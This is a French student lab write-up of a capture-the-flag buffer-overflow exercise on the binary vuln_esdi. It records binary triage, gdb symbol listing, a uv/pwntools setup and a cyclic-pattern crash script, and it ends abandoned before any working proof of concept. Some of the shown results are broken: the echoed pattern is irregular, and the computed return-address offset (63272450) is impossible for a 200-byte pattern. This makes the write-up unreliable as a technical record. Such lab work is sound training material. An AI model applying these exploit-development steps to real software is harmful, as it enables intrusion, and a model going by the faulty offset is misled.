

TP6 - Florian POMPIDOU

Le binaire vuln_esdi a été découvert dans un audit de code. Le client suspecte un buffer overflow dans la fonction de parsing des arguments. Votre mission : confirmer la vulnérabilité, mesurer le décalage jusqu'au registre de retour, et produire un PoC Python qui détourne le flot d'exécution vers une fonction cachée (win()) présente dans le binaire.

Analyses basiques

Formules basiques pour extraire la structure du fichier :

```
$ sha256sum vuln_esdi
6cf9d82d8d0023add3f211d65169de28264ce845795d6c384ef53da613f3c48c  vuln_esdi

$ file vuln_esdi
vuln_esdi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=ad96f823633c23654741962598e101b58be3bd09, for GNU/Linux 3.2.0, not
stripped

$ objdump -f vuln_esdi

vuln_esdi:      file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x0000000000401070

$ strings vuln_esdi
[...]
[+] Congratulations! You've redirected execution to win()!
[+] Flag: CTF{b0f_m4st3r}
[...]
```

Mise en place d'un analyseur profond Python

Analyse GDB basique

```
gdb ./vuln_esdi

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  printf@plt
0x0000000000401050  gets@plt
```

```

0x0000000000401060 fflush@plt
0x0000000000401070 _start
0x00000000004010a0 _dl_relocate_static_pie
0x00000000004010b0 deregister_tm_clones
0x00000000004010e0 register_tm_clones
0x0000000000401120 __do_global_ctors_aux
0x0000000000401150 frame_dummy
0x0000000000401156 win
0x000000000040117b vulnerable
0x00000000004011d0 main
0x0000000000401204 _fini
(gdb) print win
$1 = {<text variable, no debug info>} 0x401156 <win>

```

Amorce de l'environnement

En amorce du projet, déployer un environnement Python cloisonné :

```

uv init
uv run main.py
uv run .venv/bin/activate_this.py

uv add pwn
chmod +x vuln_esdi

```

Script importé pour trouver le pattern disruptif

```

from pwn import *

pattern = cyclic(200)

p = process('./vuln_esdi')
print(pattern)
print(f"Le PATTERN a une longueur de {len(pattern)} caractères.")
p.sendline(pattern)
p.wait()

```

Dans GDB :

```

(gdb) run < <(python3 -c "from pwn import *; print(cyclic(200))")
Starting program: /home/kali/TP6/vuln_esdi < <(python3 -c "from pwn import *;
print(cyclic(200))")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to SecureApp v1.0
Enter your name: Hello,
b'aaaabaaacaaadaaaeaaafaaagaaahaaiaaaajaaakaaalaaamaaanaaaooaaapaaaqaaaraaasaaataaa

```

```
uaaavaaawaaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpa  
abqaabraabsaabtaabuaabvaabwaabxaabyaab'!
```

```
Program received signal SIGSEGV, Segmentation fault.  
0x00000000004011cf in vulnerable ()
```

```
(gdb) !python3 -c "from pwn import *; print(cyclic_find(0x61746161736161, n=8))"  
63272450
```

ABANDON